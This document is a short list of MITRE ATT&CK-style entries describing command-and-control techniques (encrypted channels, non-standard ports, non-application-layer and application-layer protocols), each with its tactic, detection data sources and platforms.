Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre